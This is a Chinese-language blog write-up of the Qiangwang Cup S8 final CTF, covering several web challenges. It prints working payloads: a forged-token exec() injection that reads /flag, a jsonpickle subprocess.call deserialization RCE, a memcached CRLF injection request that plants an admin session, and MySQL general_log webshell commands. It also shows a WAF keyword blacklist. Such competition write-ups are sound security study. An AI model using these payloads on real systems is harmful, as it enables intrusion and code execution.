目录

  1. 1. 前言
  2. 2. Jeopardy
    1. 2.1. Pharaoh’s Pyramid
    2. 2.2. ezlogin
    3. 2.3. anniversary(0 Solved)
  3. 3. RW
    1. 3.1. TS++(Unsolved)
  4. 4. 游记(to be continued)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

强网杯S8 Final

2024/12/5 线下赛
  |     |   总文章阅读量:

前言

我大概一辈子都忘不了强网杯了吧

image-20241206181319593

没有爆零,不是垫底,作为一个历史短暂的双非校队已经远超预期了(笑)


Jeopardy

Pharaoh’s Pyramid

from wsgiref.simple_server import make_server
from pyramid.config import Configurator
from pyramid.events import NewResponse
from pyramid.response import Response
import util

users = []
super_user = ["admin"]
default_alg = "RS"


def register_api(request):
    try:
        username = request.params['username']
        if username in super_user:
            return Response("Not Allowed!")
        password = request.params['password']
    except:
        return Response('Please Input username & password', status="500 Internal Server")
    data = {"username": username, "password": password}
    users.append(data)
    token = util.data_encode(data, default_alg)
    return Response("Here is your token: "+ token)


def register_front(request):
    return Response(util.read_html('register.html'))


def front_test(request):
    return Response(util.read_html('test.html'))


def system_test(request):
    try:
        code = request.params['code']
        token = request.params['token']
        data = util.data_decode(token)
        if data:
            username = data['username']
            print(username)
            if username in super_user:
                print("Welcome super_user!")
            else:
                return Response('Unauthorized', status="401 Unauthorized")
        else:
            return Response('Unauthorized', status="401 Unauthorized")

    except:
        return Response('Please Input code & token')
    print(exec(code))
    return Response("Success!")


if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('register_front', '/')
        config.add_route('register_api', '/api/register')
        config.add_route('system_test', '/api/test')
        config.add_route('front_test', '/test')
        config.add_view(system_test, route_name='system_test')
        config.add_view(front_test, route_name='front_test')
        config.add_view(register_api, route_name='register_api')
        config.add_view(register_front, route_name='register_front')
        app = config.make_wsgi_app()

    server = make_server('0.0.0.0', 6543, app)
    server.serve_forever()

审计代码,只需要以 admin 登录就能 rce

观察注册获取jwt的部分:

users = []
super_user = ["admin"]
default_alg = "RS"

users.append(data)
token = util.data_encode(data, default_alg)

跟进

def data_encode(data, alg):
    if alg not in ['HS', 'RS']:
        raise "Algorithm must be HS or RS!"
    else:
        private_key, public_key = generate_keys()
        if alg == 'RS':
            signature = sign_data(private_key, data)
            data_bytes = json.dumps(data).encode('utf-8')
            encoded_data1 = base64.b64encode(data_bytes)  # data
            encoded_data2 = base64.b64encode(signature)  # signature
            print(encoded_data2)
            encoded_data3 = base64.b64encode(alg.encode('utf-8'))  # alg
            encoded_data4 = base64.b64encode(public_key)  # public_key
            encoded_data = encoded_data1.decode() + '.' + encoded_data2.decode() + '.' + encoded_data3.decode() + '.' + encoded_data4.decode()
            print("The encoded data is: ", encoded_data)
            return encoded_data
        else:
            hash_object = hashlib.sha256()
            data_bytes = (json.dumps(data) + secret).encode('utf-8')
            inputdata = json.dumps(data).encode('utf-8')
            hash_object.update(data_bytes)
            hex_dig = hash_object.hexdigest()
            signature = base64.b64encode(hex_dig.encode('utf-8'))
            encoded_data1 = base64.b64encode(inputdata)  # data
            encoded_data3 = base64.b64encode(alg.encode('utf-8'))  # alg
            encoded_data = encoded_data1.decode() + '.' + signature.decode() + '.' + encoded_data3.decode()
            print("The encoded data is: ", encoded_data)
            return encoded_data
        
def sign_data(private_key, data):
    rsakey = RSA.import_key(private_key)
    # 将JSON数据转换为字符串
    data_str = json.dumps(data)
    hash_obj = SHA256.new(data_str.encode('utf-8'))
    signature = pkcs1_15.new(rsakey).sign(hash_obj)
    return signature

然后是decode

def data_decode(encode_data):
    try:
        all_data = encode_data.split('.')
        sig_bytes = all_data[1].replace(' ', '+').encode('utf-8')
        print(sig_bytes)
        data = base64.b64decode(all_data[0].replace(' ', '+')).decode('utf-8')
        json_data = json.loads(data)
        signature = base64.b64decode(sig_bytes)
        alg = base64.b64decode(all_data[2]).decode('utf-8')
        key = secret
        if len(all_data) == 4:
            key_bytes = all_data[3].replace(' ', '+').encode('utf-8')
            key = base64.b64decode(key_bytes)  # bytes
        # 验证签名
        is_valid = verify_signature(key, json_data, signature, alg)
        if is_valid:
            return json_data
        else:
            return False
    except:
        raise "something error"
        
def verify_signature(secret, data, signature, alg):
    if alg == 'RS':
        rsakey = RSA.import_key(secret)
        # 将JSON数据转换为字符串
        data_str = json.dumps(data)
        hash_obj = SHA256.new(data_str.encode('utf-8'))
        try:
            pkcs1_15.new(rsakey).verify(hash_obj, signature)
            print("Signature is valid. Transmitted data:", data)
            return True
        except (ValueError, TypeError):
            print("Signature is invalid.")
            return False
    elif alg == 'HS':
        hash_object = hashlib.sha256()
        data_bytes = (json.dumps(data) + secret).encode('utf-8')
        print(data_bytes)
        hash_object.update(data_bytes)
        hex_dig = hash_object.hexdigest()
        if hex_dig == signature.decode():
            return True
    else:
        return False

一开始看到有 RS 有 HS,欸是不是要打 RS 转 HS 的 trick 🤓👆

拿个 token 解码测试一下

{"username": "aaa", "password": "123"}iÛÕ`Ø}£P5À..ï.Ì.¬?%кFU=×.UT.è57 a8ο./òLkntãÝ_©....àm¥£.à-uqð~ºÀ¦Õ.·.äú...0..¿#ÐÒfVuº
ÔÙgdðõ%Æìy.Ì.«..v.§~..cßல.=Ùq#.0ò..Q.¬û.W̶º0Ô.¼ëöþ)¨.òOÛ?ýv´¦.Ë7.d...Øc©.é..1..%ñ.9á}Öû.NÂ.¤v.ü6.ÂÐY.v¿.ðfâ....IJ¬|Ç´½.º.O.jîíÝq.®G`Ê.ïÅËhã.¯.<\z¯å¨.~q2è|Ä[ãp.<®ç².ùRS-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0IdDl+WgYW49pk+UCoYy
pX4SPvon3Pc9uNgM6htf63pYUKnqcFjm0LqAd5q/+t5Ut5L1P98IZRyRjYF/W98W
rLWQpG2Y2WiQ4/stCx/qtCg+UGoG7ItWMKrUAWxjjwzqun++yZIQ02AeLJzUSbC+
uEEBqvzkXrr4FJvPHpIbWU/hE23nEmRL5pze8I7zym7M38Q3doOPSTsQV15b0Kcp
pt5Fvn3TxQAlWmdARk0sY0GbR/oo80eniQvIlswbPGeORgldbXLY1IAusaTiIenQ
JVU9+//+D9m7OZdoGOeqPLJ7jns9bTX8qwkjtuH0pDREK4Rr+vBFYKSc/TfXraNc
+wIDAQAB
-----END PUBLIC KEY-----

得到RS加密的公钥

下断点看一下all_data

0 =
'eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMTIzIn0='
1 =
'nDnHSpDbV3CVBn24/aZQc3lOdxQug5w5zj93isQYXyViMeRLqNPu53sZNGxEjL2rd55B4H7Cc+gQ2x4f/NcZQ8ACVDgtQe5C4be1y7uan2qitc4eQGCkbmmDQeogdJteJCzHeZaePp3Vg9/+U+588A1eQS1/UG5vDawVGLel5UYH6nmZha0zZ2CbrNBbbu3SPaeGDsj/mJscssETStFGx8iEYra3eYh9L3ugEUcP/7D4EVi1EKeu98Mc6IwnwjgxsdmihpuZRZlSI1NUi+TfbjLBLb57WH9dhKOQAr06xO/HhL3U73D8kdVCKCWXMolZZXw8eIkfuvS+5QUNWM7DwQ=='
2 =
'UlM='
3 =
'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEyZVVmNzNDVlJPL3RwYjVLSnQ0QgptY2xDSUtWMXNrZGtkQWcwS2I5RGlrRjREeXBwODFLb0hFd2VIUUxRS0RnR0RzZnpQeFI4Qm1vQmV1TlBVZkg2CkRuVDdEQ2dRSlVpaDBVd3hRYVprZWprWW9kY1RZTG9QSlpZK1BnSjRaKzFNZWFOK1FFRG1aUjEzTU5kMy9OaE0KejY3Tk1GYWVaVm1LN2FQQzh5blJXRzVPbFZpU0JDNDUxOG9TcVhsRkx3MU5CR2pnb1N2ZS9FU2VoUStuTlUvdgpwaU1sNnVtUzhZbjlZVytrMU0vbGJ3TWc1N3lydXRGYVh2WmllUG4zSENrd0YzTUF0RkpadEVOL3huaU1FU3pPClZBVmFYZ3EwWHVTYXJZSXU4b2dvU2Q4MUdLNGJmWHdscTZWbXNWSExQRFBvMkRrTmcxS1B2L1Erd05vbHI1SlkKTHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'
len() =
4

好猜测要让解密方式为 HS

0 改为 eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjMifQ==

2 改为 SFM==

签名部分就是获取的公钥

构造出jwt:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjMifQ==.SFM==

但是失败了

观察 HS 的加解密部分:

# enc
hash_object = hashlib.sha256()
data_bytes = (json.dumps(data) + secret).encode('utf-8')
inputdata = json.dumps(data).encode('utf-8')
hash_object.update(data_bytes)
hex_dig = hash_object.hexdigest()
signature = base64.b64encode(hex_dig.encode('utf-8'))
# dec
hash_object = hashlib.sha256()
data_bytes = (json.dumps(data) + secret).encode('utf-8')
print(data_bytes)
hash_object.update(data_bytes)
hex_dig = hash_object.hexdigest()

发现要先知道 secret 的值才能伪造


而且这里的加密逻辑都是它自己实现的,不能套用常规的 jwt 思路把 RS 转为 HS

仔细一看对 secret 的操作

key = secret
if len(all_data) == 4:
    key_bytes = all_data[3].replace(' ', '+').encode('utf-8')
    key = base64.b64decode(key_bytes)  # bytes
# 验证签名
is_valid = verify_signature(key, json_data, signature, alg)

草了,这里传进去的 key 就是公钥,和 secret 没有半点关系,那就简单了,加解密只和算法有关

尝试直接在本地解除限制生成 admin 的 token ,带到靶机上,发现可以登录

然后就拿到 exec 了,接下来的问题是靶机不出网而 print(exec(code)) 没有回显

一开始想的是用 sctf 的 trick 在 wsgi server 写内存马,但是整了半天拿不到全局 __globals__,浪费了非常久的时间

g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())

最后还是选择找个有调用的方法重写,这里重写 read_html 方法来读flag

util.read_html=lambda+filename:(lambda+f:f.read())(open('/flag','r',encoding='utf-8'))

image-20241205132441508

然后随便访问一个调用了 read_html 接口即可回显


ezlogin

尝试登录可以得到账密 guest:guest

登录后得到 token,解码得到

{"py/object": "__main__.Token", "username": "guest", "timestamp": 1733378883.1952913}

除此之外没有其他信息

py/object 的部分是数据类的写法,在这里测了半天类一直返回500

github 上搜了一下找到个相关的项目:https://github.com/jsonpickle/jsonpickle

和队友讨论了很久之后猜测是在 timestamp 上做文章,因为每次登录之后都会生成一个 timestamp 可以反复使用,返回 welcome,过一阵时间后就会返回 Invalid token,而当我们直接把 username 改为 admin 的时候就会直接返回 Invalid token

于是需要爆破 timestamp ,这里我交给队友用 yakit 爆出一个 token 就能持久化使用了

image-20241206091629415

image-20241206093000087

if not waf(token):
    return 'Invalid token'
token = jsonpickle.decode(token, safe=True)
if time() - token.timestamp < 60:
    if token.username != 'admin':
        return f'Welcome {token.username}, but you are not admin'
    return 'Welcome admin, there is something in /s3Cr3T'
return 'Invalid token'

然后呢,很明显是要打 jsonpickle 了,有官方的 fuzzing 文档:https://github.com/jsonpickle/jsonpickle/blob/main/fuzzing/README.md

貌似没啥用

继续在 github 上搜索:

https://github.com/mzfr/vulnhub-writeups/blob/f8fe1d8fb477185db1180e02a128fa88a5ab612e/2019-08-20-symfonos4.md

https://github.com/VerSprite/flask-json-pickle

https://versprite.com/vs-labs/into-the-jar-jsonpickle-exploitation/

测试发现 ban 了 reduce、tuple,不过注意到 py/object 这里能自己选择类,那么就可以考虑直接调用命令执行类subprocess.call

传入参数可以用 py/newargsex

无回显,一开始想用盲注读文件的,但是发现反斜杠被 ban 了,那么就很难搞了

测试发现有个 static 文件夹可以访问,那么直接带外

{"py/object": "subprocess.call", "py/newargsex":[[["/bin/sh","-c","cat${IFS}/app/app.py>/app/static/app.py"]],[{"stdout": null}]]}

源码:

from flask import Flask, request, render_template, redirect
from dataclasses import dataclass
from time import time
import jsonpickle
import base64
import json
import os

@dataclass
class User:
    username: str
    password: str

@dataclass
class Token:
    username: str
    timestamp: int

app = Flask(__name__)
users = [User('admin', os.urandom(32).hex()), User('guest', 'guest')]
BLACKLIST = [
    'repr',
    'state',
    'json',
    'reduce',
    'tuple',
    'nt',
    '\\',
    'builtins',
    'os',
    'popen',
    'exec',
    'eval',
    'posix', 
    'spawn',
    'compile',
    'code'
]

def waf(jtoken):
    otoken = json.loads(jtoken)
    token = json.dumps(otoken, ensure_ascii=False)
    for keyword in BLACKLIST:
        if keyword in token:
            return False
    return True
    

@app.route('/')
def index():
    return render_template('index.html', title='Home')

@app.post('/login')
def login():
    username = request.form.get('username')
    password = request.form.get('password')
    for user in users:
        if user.username == username and user.password == password:
            res = app.make_response('Login successful')
            token = Token(username, time())
            res.status_code = 302
            res.set_cookie('token', base64.urlsafe_b64encode(jsonpickle.encode(token).encode()).decode())
            res.headers['Location'] = '/home'
            return res

    return 'Invalid credentials (guest/guest)'

@app.route('/home')
def home():
    token = request.cookies.get('token')
    if token:
        jtoken = base64.urlsafe_b64decode(token.encode()).decode()
        if not waf(jtoken):
            return 'Invalid token'
        token = jsonpickle.decode(jtoken, safe=True)
        if time() - token.timestamp < 60:
            if token.username != 'admin':
                return f'Welcome {token.username}, but you are not admin'
            return 'Welcome admin, there is something in /s3Cr3T'
    return 'Invalid token'

@app.route('/s3Cr3T')
def secret():
    token = request.cookies.get('token')
    if token:
        jtoken = base64.urlsafe_b64decode(token.encode()).decode()
        if not waf(jtoken):
            return 'Invalid token'
        token = jsonpickle.decode(jtoken, safe=True)
        if time() - token.timestamp < 60:
            if token.username != 'admin':
                return 'Invalid token'
            return '''
if not waf(token):
    return 'Invalid token'
token = jsonpickle.decode(token, safe=True)
if time() - token.timestamp < 60:
    if token.username != 'admin':
        return f'Welcome {token.username}, but you are not admin'
    return 'Welcome admin, there is something in /s3Cr3T'
return 'Invalid token'
'''.strip()
    return 'Invalid token'

if __name__ == '__main__':
    app.run('0.0.0.0', 5000)

同样的方法用 /readflag 读取flag即可


anniversary(0 Solved)

image-20241206100717732

image-20241206101144441

观察渲染格式,这里是方法 参数的形式

text: '距离纪念日还有 {{anniversary_time_diff t=1736006400000 l=\"cn\"}}'

测试报错:

Error: Invalid time value

TypeError: Cannot destructure property 'hash' of 'arguments[0]' as it is undefined.
TypeError: Cannot destructure property 't' of 'hash' as it is undefined.

RangeError: Invalid time value

hint:

提示:
1. 尝试探测服务端渲染模版的组件及其版本
2. anniversary_time_diff无法利用
3. 尝试发现其他模版可以访问的函数/变量
4. 尝试利用模版渲染组件本身的漏洞实现RCE
5. 尝试类型混淆

测不出来,什么nodejs模板会只渲染{{}}[]能返回一个 object 啊


RW

TS++(Unsolved)

thinkshop 还在追我

和 thinkshopping 一样的操作打 memcached 进后台

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: localhost:36000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=gan31bc5bm4k4jn9v7npb878g6
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

这样子账密 admin:admin 进后台

但是 secure_file_priv 为 /var/lib/mysql-files/,不能读文件了

总之 diff 看一下和上一代比有哪些变化吧

$ diff -rq web1 web2
Files web1/application/index/model/Goods.php and web2/application/index/model/Goods.php differ
Files web1/application/index/view/admin/goods_add.html and web2/application/index/view/admin/goods_add.html differ
Files web1/application/index/view/admin/goods_edit.html and web2/application/index/view/admin/goods_edit.html differ
Files web1/application/index/view/index/goods.html and web2/application/index/view/index/goods.html differ

对比了一下,goods_edit.html 和 goods.html 里多了个 base64 解码,Goods.php 删掉了后面一串用不上的代码

sql 里仍有(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');,也就是说可以1:123456进后台

那么唯一的问题就是我们现在只有sql注入,写不了shell

感觉还是要从 memcached CRLF 入手

尝试写日志

show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/public/info.php';
select '<?php phpinfo();?>';	

本地容器终端上测试能写,但是权限不够访问,遂放弃注入

最后想了下,既然我们能往 memcached 里面写入序列化字符串,那么也可以直接把 poc 的序列化字符串进行反序列化

然后就搜到了这个:https://zhcy2018.github.io/2023/%E5%BC%BA%E7%BD%91%E6%9D%AF%20thinkshopping.html

但是来不及了,没来得及多研究就架上台去尝试了,然后翻车了XD


游记(to be continued)

三天的强网梦结束了,归来依旧是个臭双非的学生,写个锤子游记,ddl赶不完了,等肝完ddl再说 —— 2024.12.8